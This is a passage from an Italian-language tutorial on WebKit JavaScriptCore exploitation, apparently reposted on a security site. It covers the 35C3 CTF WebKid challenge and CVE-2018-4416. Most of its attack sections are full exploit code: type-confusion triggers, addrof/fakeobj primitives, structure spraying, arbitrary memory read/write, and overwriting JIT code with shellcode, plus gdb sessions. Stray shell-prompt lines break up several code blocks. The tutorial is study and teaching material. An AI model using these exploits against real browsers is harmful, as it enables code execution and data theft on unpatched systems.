+(allow file-read* (literal "/flag1")) + +(allow mach-lookup (global-name "net.saelo.shelld")) +(allow mach-lookup (global-name "net.saelo.capsd")) +(allow mach-lookup (global-name "net.saelo.capsd.xpc")) + #if PLATFORM(MAC) && __MAC_OS_X_VERSION_MIN_REQUIRED < 101300 (import "system.sb") #else #+end_example

Il problema più grande qui riguarda la funzione =tryDeletePropertyQuickly=, che si comporta così (commento fornito da /Linus Henze/:

#+begin_src cpp static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset) { // This assert will always be true as long as we're not passing an "invalid" offset ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset));

root@kitploit:~
 // Try to get the previous structure of this object
 Structure* previous = structure->previousID();
 if (!previous)
     return false; // If it has none, stop here

 unsigned unused;
 // Check if the property we're deleting is the last one we added
 // This must be the case if the old structure doesn't have this property
 bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused));
 if (!isLastAddedProperty)
     return false; // Not the last property? Stop here and remove it using the normal way.

 // Assert that adding the property to the last structure would result in getting the current structure
 RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure);

 // Uninteresting. Basically, this just deletes this objects Butterfly if it's not an array and we're asked to delete the last out-of-line property. The Butterfly then becomes useless because no property is stored in it, so we can delete it.
 if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) {
     ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
     thisObject->setButterfly(vm, nullptr);
 }

 // Directly set the structure of this object
 thisObject->setStructure(vm, previous);

 return true;

} #+end_src

In breve, un oggetto tornerà al precedente structure ID eliminando una proprietà aggiunta in precedenza. Per esempio:

#+begin_example var o = [1.1, 2.2, 3.3, 4.4]; // o is now an object with structure ID 122. o.property = 42; // o is now an object with structure ID 123. The structure is a leaf (has never transitioned)

function helper() { return o[0]; } jitCompile(helper); // Running helper function many times // In this case, the JIT compiler will choose to use a watchpoint instead of runtime checks // when compiling the helper function. As such, it watches structure 123 for transitions.

delete o.property; // o now "went back" to structure ID 122. The watchpoint was not fired. #+end_example

Ripassiamo prima alcuni concetti. In JSC abbiamo controlli dei tipi a runtime e watchpoint per garantire una corretta conversione dei tipi. Dopo che una funzione viene eseguita molte volte, JSC non userà il controllo della struttura. Al suo posto lo sostituirà con un watchpoint. Quando un oggetto viene modificato, il browser dovrebbe attivare il watchpoint per notificare la modifica, così da ripiegare sull'interprete JavaScript e generare nuovo codice JIT.

Qui, il ripristino dell'ID precedente non attiverà =watchpoint= anche se la struttura è cambiata; ciò significa che anche la struttura del butterfly pointer verrà modificata. Tuttavia, il codice JIT generato da =helper= non ripiegherà perché il watchpoint non viene attivato, portando a una type confusion. E il codice JIT può ancora accedere alla vecchia struttura butterfly. Possiamo fare leak e creare oggetti finti.

Questa è la primitiva di attacco minima:

#+begin_example haxxArray = [13.37, 73.31]; haxxArray.newProperty = 1337;

function returnElem() { return haxxArray[0]; }

function setElem(obj) { haxxArray[0] = obj; }

for (var i = 0; i < 100000; i++) { returnElem(); setElem(13.37); }

delete haxxArray.newProperty; haxxArray[0] = {};

function addrof(obj) { haxxArray[0] = obj; return returnElem(); }

function fakeobj(address) { setElem(address); return haxxArray[0]; } // JIT code treat it as intereger, but it actually should be an object. // We can leak address from it print(addrof({})); // Almost the same as above, but it's for write data print(fakeobj(addrof({}))); #+end_example

** Funzioni di utilità :PROPERTIES: :CUSTOM_ID: utility-functions :END: Lo script exploit crea molte funzioni di utilità. Ci aiutano a creare le primitive di cui hai bisogno in quasi tutti gli exploit di WebKit. Vedremo solo alcune funzioni importanti.

*** Ottenere codice nativo :PROPERTIES: :CUSTOM_ID: getting-native-code :END: Per attaccare, abbiamo bisogno di una funzione con codice nativo per scrivere shellcode o ROP. Inoltre, le funzioni diventano codice nativo solo dopo essere state eseguite molte volte (questo si trova in =pwn.js=):

#+begin_example function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } }

function makeJITCompiledFunction() { // Some code that can be overwritten by the shellcode. function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);

root@kitploit:~
  return target;

} #+end_example

*** Controllare i byte :PROPERTIES: :CUSTOM_ID: controlling-bytes :END: In =int64.js=, creiamo una classe =Int64=. Usa =Uint8Array= per memorizzare numeri e crea molte operazioni correlate come =add= e =sub=. Nel capitolo precedente abbiamo menzionato che JavaScript usa tagged value per rappresentare il numero, il che significa che non puoi controllare il byte più alto. L'array =Uint8Array= rappresenta interi senza segno a 8 bit proprio come un valore nativo, permettendoci di controllare tutti gli 8 byte.

Semplice esempio di utilizzo di =Uint8Array=:

#+begin_example var x = new Uint8Array([17, -45.3]); var y = new Uint8Array(x); console.log(x[0]); // 17

console.log(x[1]); // value will be converted 8 bit unsigned integers // 211 #+end_example

Può essere convertito in un array a 16 bit. Quanto segue ci mostra chiaramente che =Uint8Array= memorizza in forma nativa, perché =0x0201= == =513=:

#+begin_example a = new Uint8Array([1,2,3,4]) b = new Uint16Array(a.buffer) // Uint16Array [513, 1027] #+end_example

Le funzioni rimanenti di =Int64= sono simulazioni di diverse operazioni. Puoi dedurre le loro implementazioni dai nomi e dai commenti. Anche la lettura del codice è facile.

** Scrivere l'exploit :PROPERTIES: :CUSTOM_ID: writing-exploit :END: *** Dettagli sullo script :PROPERTIES: :CUSTOM_ID: detail-about-the-script :END: Ho aggiunto alcuni commenti dal writeup originale di Saelo (la maggior parte dei commenti sono ancora opera sua, grazie infinite!):

#+begin_example const ITERATIONS = 100000;

// A helper function returns function with native code function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } } jitCompile(function dummy() { return 42; });

// Return a function with native code, we will palce shellcode in this function later function makeJITCompiledFunction() {// Some code that can be overwritten by the shellcode. function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);

root@kitploit:~
  return target;

}

function setup_addrof() { var o = [1.1, 2.2, 3.3, 4.4]; o.addrof_property = 42;

root@kitploit:~
  // JIT compiler will install a watchpoint to discard the
  // compiled code if the structure of |o| ever transitions
  // (a heuristic for |o| being modified). As such, there
  // won't be runtime checks in the generated code.
  function helper() {
      return o[0];
  }
  jitCompile(helper);

  // This will take the newly added fast-path, changing the structure
  // of |o| without the JIT code being deoptimized (because the structure
  // of |o| didn't transition, |o| went "back" to an existing structure).
  delete o.addrof_property;

  // Now we are free to modify the structure of |o| any way we like,
  // the JIT compiler won't notice (it's watching a now unrelated structure).
  o[0] = {};

  return function(obj) {
      o[0] = obj;
      return Int64.fromDouble(helper());
  };

}

function setup_fakeobj() { var o = [1.1, 2.2, 3.3, 4.4]; o.fakeobj_property = 42;

root@kitploit:~
  // Same as above, but write instead of reading from the array.
  function helper(addr) {
      o[0] = addr;
  }
  jitCompile(helper, 13.37);

  delete o.fakeobj_property;
  o[0] = {};

  return function(addr) {
      helper(addr.asDouble());
      return o[0];
  };

}

function pwn() { var addrof = setup_addrof(); var fakeobj = setup_fakeobj();

root@kitploit:~
  // verify basic exploit primitives work.
  var addr = addrof({p: 0x1337});
  assert(fakeobj(addr).p == 0x1337, "addrof and/or fakeobj does not work");
  print('[+] exploit primitives working');


  // from saelo: spray structures to be able to predict their IDs.
  // var structs = []
  // var i = 0;
  // var abc = [13.37];
  // abc.pointer = 1234;
  // abc['prop' + i] = 13.37;
  // structs.push(abc);
  // var victim = structs[0];
  //
  // and the payload still work stablely. It seems this action is redundant
  var structs = []
  for (var i = 0; i < 0x1000; ++i) {
      var array = [13.37];
      array.pointer = 1234;
      array['prop' + i] = 13.37;
      structs.push(array);
  }

  // take an array from somewhere in the middle so it is preceeded by non-null bytes which
  // will later be treated as the butterfly length.
  var victim = structs[0x800];
  print(`[+] victim @ ${addrof(victim)}`);

  // craft a fake object to modify victim
  var flags_double_array = new Int64("0x0108200700001000").asJSValue();
  var container = {
      header: flags_double_array,
      butterfly: victim
  };

  // create object having |victim| as butterfly.
  var containerAddr = addrof(container);
  print(`[+] container @ ${containerAddr}`);
  // add the offset to let compiler recognize fake structure
  var hax = fakeobj(Add(containerAddr, 0x10));
  // origButterfly is now based on the offset of **victim** 
  // because it becomes the new butterfly pointer
  // and hax[1] === victim.pointer
  var origButterfly = hax[1];

  var memory = {
      addrof: addrof,
      fakeobj: fakeobj,

      // Write an int64 to the given address.
      writeInt64(addr, int64) {
          hax[1] = Add(addr, 0x10).asDouble();
          victim.pointer = int64.asJSValue();
      },

      // Write a 2 byte integer to the given address. Corrupts 6 additional bytes after the written integer.
      write16(addr, value) {
          // Set butterfly of victim object and dereference.
          hax[1] = Add(addr, 0x10).asDouble();
          victim.pointer = value;
      },

      // Write a number of bytes to the given address. Corrupts 6 additional bytes after the end.
      write(addr, data) {
          while (data.length % 4 != 0)
              data.push(0);

          var bytes = new Uint8Array(data);
          var ints = new Uint16Array(bytes.buffer);

          for (var i = 0; i < ints.length; i++)
              this.write16(Add(addr, 2 * i), ints[i]);
      },

      // Read a 64 bit value. Only works for bit patterns that don't represent NaN.
      read64(addr) {
          // Set butterfly of victim object and dereference.
          hax[1] = Add(addr, 0x10).asDouble();
          return this.addrof(victim.pointer);
      },

      // Verify that memory read and write primitives work.
      test() {
          var v = {};
          var obj = {p: v};

          var addr = this.addrof(obj);
          assert(this.fakeobj(addr).p == v, "addrof and/or fakeobj does not work");

          var propertyAddr = Add(addr, 0x10);

          var value = this.read64(propertyAddr);
          assert(value.asDouble() == addrof(v).asDouble(), "read64 does not work");

          this.write16(propertyAddr, 0x1337);
          assert(obj.p == 0x1337, "write16 does not work");
      },
  };

  // Testing code, not related to exploit
  var plainObj = {};
  var header = memory.read64(addrof(plainObj));
  memory.writeInt64(memory.addrof(container), header);
  memory.test();
  print("[+] limited memory read/write working");

  // get targetd function
  var func = makeJITCompiledFunction();
  var funcAddr = memory.addrof(func);

  // change the JIT code to shellcode
  // offset addjustment is a little bit complicated here :P
  print(`[+] shellcode function object @ ${funcAddr}`);
  var executableAddr = memory.read64(Add(funcAddr, 24));
  print(`[+] executable instance @ ${executableAddr}`);
  var jitCodeObjAddr = memory.read64(Add(executableAddr, 24));
  print(`[+] JITCode instance @ ${jitCodeObjAddr}`);
  // var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 368));      // offset for debug builds
  // final JIT Code address
  var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 352));
  print(`[+] JITCode @ ${jitCodeAddr}`);

  var s = "A".repeat(64);
  var strAddr = addrof(s);
  var strData = Add(memory.read64(Add(strAddr, 16)), 20);
  shellcode.push(...strData.bytes());

  // write shellcode
  memory.write(jitCodeAddr, shellcode);

  // trigger shellcode
  var res = func();

  var flag = s.split('\n')[0];
  if (typeof(alert) !== 'undefined')
      alert(flag);
  print(flag);

}

if (typeof(window) === 'undefined') pwn(); #+end_example

** Conclusione sullo sfruttamento :PROPERTIES: :CUSTOM_ID: conclusion-on-the-exploitation :END: Per concludere, l'exploit usa le due primitive di attacco più importanti - =addrof= e =fakeobj= - per fare leak e creare oggetti. Una funzione JIT viene leakata e sovrascritta con il nostro array =shellcode=. Poi abbiamo chiamato la funzione per estrarre la flag. Quasi tutti gli exploit per browser seguono questo schema.

Grazie agli organizzatori della 35C3 CTF, in particolare a Saelo. È stata una grande sfida per imparare la type confusion in WebKit.


  • Debugging di WebKit :PROPERTIES: :CUSTOM_ID: debugging-webkit :END: Ora abbiamo compreso tutte le teorie: architettura, modello degli oggetti, sfruttamento. Iniziamo con alcune operazioni reali. Come preparazione, usa la /JSC/ compilata dalla sezione Setup. Usa semplicemente l'ultima versione, dato che qui discutiamo solo di debugging.

In passato provavo a impostare breakpoint per trovare i loro indirizzi, ma in realtà è molto stupido. /JSC/ ha molte funzioni non standard che possono scaricare informazioni per noi (non puoi usarne la maggior parte in /Safari/!): - =print()= e =debug()=: come =console.log()= in /node.js/, inviano informazioni al nostro terminale. Tuttavia, =print= in /Safari/ userà una stampante reale per stampare documenti. - =describe()=: descrive un oggetto. Possiamo ottenere l'indirizzo, il membro della classe e le informazioni correlate tramite la funzione. - =describeArrya()=: simile a =describe()=, ma si concentra sulle informazioni di /array/ di un oggetto. - =readFile()=: apre un file e ne ottiene il contenuto - =noDFG()= e =noFLT()=: disabilitano alcuni compilatori JIT.

** Impostazione dei breakpoint :PROPERTIES: :CUSTOM_ID: setting-breakpoints :END: Il modo più semplice per impostare breakpoint è fermarsi su una funzione non utilizzata. Qualcosa come =print= o =Array.prototype.slice([]);=. Poiché il più delle volte non sappiamo se una funzione influenzerà un PoC, questo metodo potrebbe introdurre qualche effetto collaterale.

Anche impostare come breakpoint funzioni vulnerabili funziona. Quando cerchi di capire una vulnerabilità, fermarsi su di esse è estremamente importante. Ma i loro stack di chiamata potrebbero non essere piacevoli.

Possiamo anche personalizzare una funzione di debug (usando =int 3=) nel codice sorgente di WebKit. Definendo, implementando e registrando la nostra funzione in =/Source/JavaScriptCore/jsc.cpp=. Ci aiuta a bloccare WebKit nei debugger:

#+begin_src cpp static EncodedJSValue JSC_HOST_CALL functionDbg(ExecStage*); addFunction(vm, "dbg", functionDbg, 0); static EncodedJSValue JSC_HOST_CALL functionDbg(ExecStage* exec) { asm("int 3"); return JSValue::encode(jsUndefined()); } #+end_src

Poiché il terzo metodo richiede di modificare il codice sorgente, personalmente preferisco i primi due.

** Ispezione degli oggetti JSC :PROPERTIES: :CUSTOM_ID: inspecting-jsc-objects :END: Ok, usiamo questo script:

#+begin_example arr = [0, 1, 2, 3] debug(describe(arr))

print() #+end_example

Usa il nostro gdb con gef per il debug; puoi immaginare che ci fermeremo su =print()=:

#+begin_example gdb jsc gef> b *printInternal gef> r --> Object: 0x7fffaf4b4350 with butterfly 0x7ff8000e0010 (Structure 0x7fffaf4f2b50:[Array, {}, CopyOnWriteArrayWithInt32, Proto:0x7fffaf4c80a0, Leaf]), StructureID: 100

... // Some backtrace #+end_example

#+begin_quote L'indirizzo dell'oggetto e il puntatore butterfly possono variare sulla tua macchina. Se modifichiamo lo script, anche l'indirizzo può cambiare. Adattali in base al tuo output. #+end_quote

Diamo una prima occhiata all'oggetto e al suo puntatore:

#+begin_example gef> x/2gx 0x7fffaf4b4350 0x7fffaf4b4350: 0x0108211500000064 0x00007ff8000e0010 gef> x/4gx 0x00007ff8000e0010 0x7ff8000e0010: 0xffff000000000000 0xffff000000000001 0x7ff8000e0020: 0xffff000000000002 0xffff000000000003 #+end_example

E se lo cambiassimo in float?

#+begin_example arr = [1.0, 1.0, 2261634.5098039214, 2261634.5098039214] debug(describe(arr))

print() #+end_example

Qui usiamo un piccolo trucco: =2261634.5098039214= rappresenta =0x4141414141414141= in memoria. Trovare il valore è più comodo tramite il numero magico (qui usiamo direttamente il puntatore butterfly). Di default, JSC riempie la memoria inutilizzata con =0x00000000badbeef0=:

#+begin_example gef> x/10gx 0x00007ff8000e0010 0x7ff8000e0010: 0x3ff0000000000000 0x3ff0000000000000 0x7ff8000e0020: 0x4141414141414141 0x4141414141414141 0x7ff8000e0030: 0x00000000badbeef0 0x00000000badbeef0 0x7ff8000e0040: 0x00000000badbeef0 0x00000000badbeef0 0x7ff8000e0050: 0x00000000badbeef0 0x00000000badbeef0 #+end_example

La disposizione della memoria è la stessa della parte /JSC Object Model/, quindi non la ripeteremo qui.

** Ottenere il codice nativo :PROPERTIES: :CUSTOM_ID: getting-native-code-1 :END: Ora è il momento di ottenere la funzione compilata. Svolge un ruolo importante nella comprensione del compilatore JSC e nello sfruttamento:

#+begin_example const ITERATIONS = 100000;

function jitCompile(f, ...args) { for (var i = 0; i < ITERATIONS; i++) { f(...args); } } jitCompile(function dummy() { return 42; }); debug("jitCompile Ready")

function makeJITCompiledFunction() { function target(num) { for (var i = 2; i < num; i++) { if (num % i === 0) { return false; } } return true; } jitCompile(target, 123);

root@kitploit:~
  return target;

}

func = makeJITCompiledFunction() debug(describe(func))

print() #+end_example

Non è difficile se hai letto attentamente la sezione precedente. Ora dovremmo ottenere il loro codice nativo nel debugger:

#+begin_example --> Object: 0x7fffaf468120 with butterfly (nil) (Structure 0x7fffaf4f1b20:[Function, {}, NonArray, Proto:0x7fffaf4d0000, Leaf]), StructureID: 63 ... // Some backtrace ... gef> x/gx 0x7fffaf468120+24 0x7fffaf468138: 0x00007fffaf4fd080 gef> x/gx 0x00007fffaf4fd080+24 0x7fffaf4fd098: 0x00007fffefe46000 // In debug mode, it's okay to use 368 as offset // In release mode, however, it should be 352 gef> x/gx 0x00007fffefe46000+368 0x7fffefe46170: 0x00007fffafe02a00 gef> hexdump byte 0x00007fffafe02a00 0x00007fffafe02a00 55 48 89 e5 48 8d 65 d0 48 b8 60 0c 45 af ff 7f UH..H.e.H.`.E... 0x00007fffafe02a10 00 00 48 89 45 10 48 8d 45 b0 49 bb b8 2e c1 af ..H.E.H.E.I..... 0x00007fffafe02a20 ff 7f 00 00 49 39 03 0f 87 9c 00 00 00 48 8b 4d ....I9.......H.M 0x00007fffafe02a30 30 48 b8 00 00 00 00 00 00 ff ff 48 39 c1 0f 82 0H.........H9... #+end_example

Inserisci i byte del tuo dump in rasm2:

#+begin_example rasm -d "you dump byte here" push ebp dec eax mov ebp, esp dec eax lea esp, [ebp - 0x30] dec eax mov eax, 0xaf450c60 invalid jg 0x11 add byte [eax - 0x77], cl inc ebp adc byte [eax - 0x73], cl inc ebp mov al, 0x49 mov ebx, 0xafc12eb8 invalid jg 0x23 add byte [ecx + 0x39], cl add ecx, dword [edi] xchg dword [eax + eax - 0x74b80000], ebx dec ebp xor byte [eax - 0x48], cl add byte [eax], al add byte [eax], al add byte [eax], al invalid dec dword [eax + 0x39] ror dword [edi], 0x82 #+end_example

Emmmm... il codice disassemblato è parzialmente errato. Almeno ora possiamo vedere una bozza.


  • Sfruttamento 1 Day :PROPERTIES: :CUSTOM_ID: day-exploitation :END: Usiamo il bug della sezione /triggering bug/: CVE-2018-4416.

È una type confusion. Dato che abbiamo già parlato di /WebKid/, una sfida CTF simile con un bug di type confusion, non sarà difficile capire questo. Passa al branch vulnerabile e inizia il nostro viaggio.

Il PoC è fornito all'inizio dell'articolo. Copia e incolla =int64.js=, =shellcode.js= e =utils.js= dal repository /WebKid/ nella tua macchina virtuale.

** Causa principale :PROPERTIES: :CUSTOM_ID: root-cause :END: *** Citazione di Lokihardt :PROPERTIES: :CUSTOM_ID: quotation-from-lokihardt :END: Quella che segue è la descrizione di CVE-2018-4416 di /Lokihardt/, con alcune evidenziazioni da parte mia.

Quando viene eseguito un ciclo =for-in=, all'inizio viene creato un =JSPropertyNameEnumerator object=, usato per memorizzare le informazioni dell'oggetto passato al ciclo =for-in=. All'interno del ciclo, la /structure ID/ dell' oggetto "this" di ogni espressione =get_by_id= che usa la variabile del ciclo come indice viene confrontata con la =structure ID= memorizzata nella cache del =JSPropertyNameEnumerator object=. Se sono uguali, l'oggetto "this" dell'espressione =get_by_id= verrà considerato come avente la stessa struttura dell'oggetto di input del ciclo =for-in=.

Il problema è che non c'è nulla che impedisca alla struttura da cui proviene la /structure ID/ memorizzata nella cache di essere liberata. Poiché le /structure ID/ possono essere riutilizzate dopo che i loro proprietari vengono liberati, questo può portare a /type confusion/.

*** Spiegazione riga per riga :PROPERTIES: :CUSTOM_ID: line-by-line-explanation :END: Il commento in =/* */= è la mia analisi, che potrebbe essere imprecisa. Il commento dopo =//= è di Lokihardt:

#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {

root@kitploit:~
  }
  /* Step 3 */
  /* This is abother target */
  /* We want to confuse it(tmp) with obj(fake_object_memory) */
  let tmp = {a: 1};

  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {  // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
      /* Step 4 */
      /* Change the structure of tmp to {} */
      tmp.__proto__ = {};

      gc();
      /* The structure of obj is also {} now */
      obj.__proto__ = {};  // The structure ID of "obj" equals to tmp's.

      /* Step 5 */
      /* Compiler believes obj and tmp share the same type now */
      /* Thus, obj[k] will retrieve data from object with offset a */
      /* In the patched version, it should be undefined */
      return obj[k];  // Type confusion.
  }

}

/* Step 0 / / Prepare structure {} */ opt({});

/* Step 1 / / Target Array, 0x1234 is our fake address*/ let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;

/* Step 2 / / Trigger type confusion*/ let fake_object = opt(fake_object_memory);

/* JSC crashed */ print(fake_object); #+end_example

*** Debug :PROPERTIES: :CUSTOM_ID: debugging :END: Facciamo il debug per verificare la nostra ipotesi. Modifico il PoC originale per renderne più facile il debug. Ma sono quasi identici, tranne per un'ulteriore =print()=:

#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {

root@kitploit:~
  }

  let tmp = {a: 1};

  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {  // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
      tmp.__proto__ = {};
      gc();
      obj.__proto__ = {};  // The structure ID of "obj" equals to tmp's.
      debug("Confused Object: " + describe(obj));
      return obj[k];  // Type confusion.
  }

}

opt({});

let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x41424344; let fake_object = opt(fake_object_memory); print() print(fake_object) #+end_example

Poi =gdb ./jsc=, =b *printInternal= e =r poc.js=. Otteniamo:

#+begin_example ...

--> Confused Object: Object: 0x7fffaf6b0080 with butterfly (nil) (Structure 0x7fffaf6f3db0:[Object, {}, NonArray, Proto:0x7fffaf6b3e80, Leaf]), StructureID: 142 --> Confused Object: Object: 0x7fffaf6cbe40 with butterfly (nil) (Structure 0x7fffaf6f3db0:[Uint32Array, {}, NonArray, Proto:0x7fffaf6b3e00, Leaf]), StructureID: 142

... #+end_example

Diamo un'occhiata al nostro indirizzo fake. JSC è troppo grande per trovare il breakpoint dei tuoi sogni. Impostiamo invece un watchpoint per tracciarne il flusso:

#+begin_example gef> x/4gx 0x7fffaf6cbe40 0x7fffaf6cbe40: 0x02082a000000008e 0x0000000000000000 0x7fffaf6cbe50: 0x00007fe8014fc000 0x0000000000000064 gef> x/4gx 0x00007fe8014fc000 0x7fe8014fc000: 0x0000000041424344 0x0000000000000000 0x7fe8014fc010: 0x0000000000000000 0x0000000000000000 gef> rwatch *0x7fe8014fc000 Hardware read watchpoint 2: *0x7fe8014fc000 #+end_example

Più tardi otteniamo l'output atteso:

#+begin_example Thread 1 "jsc" hit Hardware read watchpoint 2: *0x7fe8014fc000

Value = 0x41424344 0x00005555555bebd4 in JSC::JSCell::structureID (this=0x7fe8014fc000) at ../../Source/JavaScriptCore/runtime/JSCell.h:133 133 StructureID structureID() const { return m_structureID; } #+end_example

Ma perché appare su =structure ID=? Possiamo trovare la risposta dalla loro disposizione in memoria:

#+begin_example obj (fake_object_memory): 0x7fffaf6cbe40: 0x02082a000000008e 0x0000000000000000 0x7fffaf6cbe50: 0x00007fe8014fc000 0x0000000000000064

tmp ({a: 1}): 0x7fffaf6cbdc0: 0x000016000000008b 0x0000000000000000 0x7fffaf6cbdd0: 0xffff000000000001 0x0000000000000000 #+end_exampleQuindi, il puntatore di =Uin32Array= viene restituito come oggetto. E =m_structureID= si trova all'inizio di ogni oggetto JS. Poiché =0x1234= è il primo elemento del nostro array, è ragionevole che =structureID()= lo recuperi.

Ora possiamo usare i dati in =Uint32Array= per creare un oggetto falso. Fantastico!

** Costruzione della Primitiva di Attacco :PROPERTIES: :CUSTOM_ID: constructing-attack-primitive :END: *** addrof :PROPERTIES: :CUSTOM_ID: addrof :END: Ora dobbiamo creare un oggetto valido. Scelgo ={}= (un oggetto vuoto) come nostro bersaglio.

Come appare un oggetto vuoto in memoria (ignora scripting e debugging qui):

#+begin_example 0x7fe8014fc000: 0x010016000000008a 0x0000000000000000 #+end_example

Ok, inizia con =0x010016000000008a=. Possiamo simularlo comodamente in =Uint32Array= (ricorda di incollare =gc= e =opt= qui):

#+begin_example function gc() { ... // Same as above's }

function opt(obj) { ... // Same as above;s }

opt({});

let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x0000004c; fake_object_memory[1] = 0x01001600; let fake_object = opt(fake_object_memory); fake_object.a = {}

print(fake_object_memory[4]) print(fake_object_memory[5]) #+end_example

Vengono restituiti due numeri misteriosi:

#+begin_src shell 2591768192 # hex: 0x9a7b3e80 32731 # hex: 0x7fdb #+end_src

Ovviamente, è in formato puntatore. Ora possiamo fare leak di un oggetto arbitrario!

*** fakeobj :PROPERTIES: :CUSTOM_ID: fakeobj :END: Ottenere un =fakeob= è quasi identico a costruire =addrof=. La differenza è che devi inserire un indirizzo in =Uint32Array=, poi ottenere l'oggetto tramite l'attributo =a= in =fake_object=

*** Lettura/Scrittura Arbitraria ed Esecuzione di Shellcode :PROPERTIES: :CUSTOM_ID: arbitrary-rw-and-shellcode-execution :END: È simile allo script di exploit nella sfida =WebKid=. Lo script completo è troppo lungo per essere spiegato riga per riga. Puoi comunque trovarlo [[/assets/CVE-2018-4416.js][qui]]. Potresti dover provare circa 10 volte per sfruttarlo con successo. Quando riesce, legge il tuo =/etc/passwd=. Ecco il codice principale:

#+begin_example // get compiled function var func = makeJITCompiledFunction();

function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

// Typr confusion here function opt(obj) { for (let i = 0; i < 500; i++) {

root@kitploit:~
  }

  let tmp = {a: 1};
  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {
      tmp.__proto__ = {};
      gc();
      obj.__proto__ = {};
      // Compiler are misleaded that obj and tmp shared same type
      return obj[k];
  }

}

opt({});

// Use Uint32Array to craft a controable memory // Craft a fake object header let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x0000004c; fake_object_memory[1] = 0x01001600; let fake_object = opt(fake_object_memory);

debug(describe(fake_object))

// Use JIT to stablized our attribute // Attribute a will be used by addrof/fakeobj // Attrubute b will be used by arbitrary read/write for (i = 0; i < 0x1000; i ++) { fake_object.a = {test : 1}; fake_object.b = {test : 1}; }

// get addrof // we pass a pbject to fake_object // since fake_object is inside fake_object_memory and represneted as integer // we can use fake_object_memory to retrieve the integer value function setup_addrof() { function p32(num) { value = num.toString(16) return "0".repeat(8 - value.length) + value } return function(obj) { fake_object.a = obj value = "" value = "0x" + p32(fake_object_memory[5]) + "" + p32(fake_object_memory[4]) return new Int64(value) } }

// Same // But we pass integer value first. then retrieve object function setup_fakeobj() { return function(addr) { //fake_object_memory[4] = addr[0] //fake_object_memory[5] = addr[1] value = addr.toString().replace("0x", "") fake_object_memory[4] = parseInt(value.slice(8, 16), 16) fake_object_memory[5] = parseInt(value.slice(0, 8), 16) return fake_object.a } }

addrof = setup_addrof() fakeobj = setup_fakeobj() debug("[+] set up addrof/fakeobj") var addr = addrof({p: 0x1337}); assert(fakeobj(addr).p == 0x1337, "addrof and/or fakeobj does not work"); debug('[+] exploit primitives working');

// Use fake_object + 0x40 cradt another fake object for read/write var container_addr = Add(addrof(fake_object), 0x40) fake_object_memory[16] = 0x00001000; fake_object_memory[17] = 0x01082007;

var structs = [] for (var i = 0; i < 0x1000; ++i) { var a = [13.37]; a.pointer = 1234; a['prop' + i] = 13.37; structs.push(a); }

// We will use victim as the butterfly pointer of contianer object victim = structs[0x800] victim_addr = addrof(victim) victim_addr_hex = victim_addr.toString().replace("0x", "") fake_object_memory[19] = parseInt(victim_addr_hex.slice(0, 8), 16) fake_object_memory[18] = parseInt(victim_addr_hex.slice(8, 16), 16)

// Overwrite container to fake_object.b container_addr_hex = container_addr.toString().replace("0x", "") fake_object_memory[7] = parseInt(container_addr_hex.slice(0, 8), 16) fake_object_memory[6] = parseInt(container_addr_hex.slice(8, 16), 16) var hax = fake_object.b

var origButterfly = hax[1];

var memory = { addrof: addrof, fakeobj: fakeobj,

root@kitploit:~
  // Write an int64 to the given address.
  // we change the butterfly of victim to addr + 0x10
  // when victim change the pointer attribute, it will read butterfly - 0x10
  // which equal to addr + 0x10 - 0x10 = addr
  // read arbiutrary value is almost the same
  writeInt64(addr, int64) {
      hax[1] = Add(addr, 0x10).asDouble();
      victim.pointer = int64.asJSValue();
  },

  // Write a 2 byte integer to the given address. Corrupts 6 additional bytes after the written integer.
  write16(addr, value) {
      // Set butterfly of victim object and dereference.
      hax[1] = Add(addr, 0x10).asDouble();
      victim.pointer = value;
  },

  // Write a number of bytes to the given address. Corrupts 6 additional bytes after the end.
  write(addr, data) {
      while (data.length % 4 != 0)
          data.push(0);

      var bytes = new Uint8Array(data);
      var ints = new Uint16Array(bytes.buffer);

      for (var i = 0; i < ints.length; i++)
          this.write16(Add(addr, 2 * i), ints[i]);
  },

  // Read a 64 bit value. Only works for bit patterns that don't represent NaN.
  read64(addr) {
      // Set butterfly of victim object and dereference.
      hax[1] = Add(addr, 0x10).asDouble();
      return this.addrof(victim.pointer);
  },

  // Verify that memory read and write primitives work.
  test() {
      var v = {};
      var obj = {p: v};

      var addr = this.addrof(obj);
      assert(this.fakeobj(addr).p == v, "addrof and/or fakeobj does not work");

      var propertyAddr = Add(addr, 0x10);

      var value = this.read64(propertyAddr);
      assert(value.asDouble() == addrof(v).asDouble(), "read64 does not work");

      this.write16(propertyAddr, 0x1337);
      assert(obj.p == 0x1337, "write16 does not work");
  },

};

memory.test(); debug("[+] limited memory read/write working");

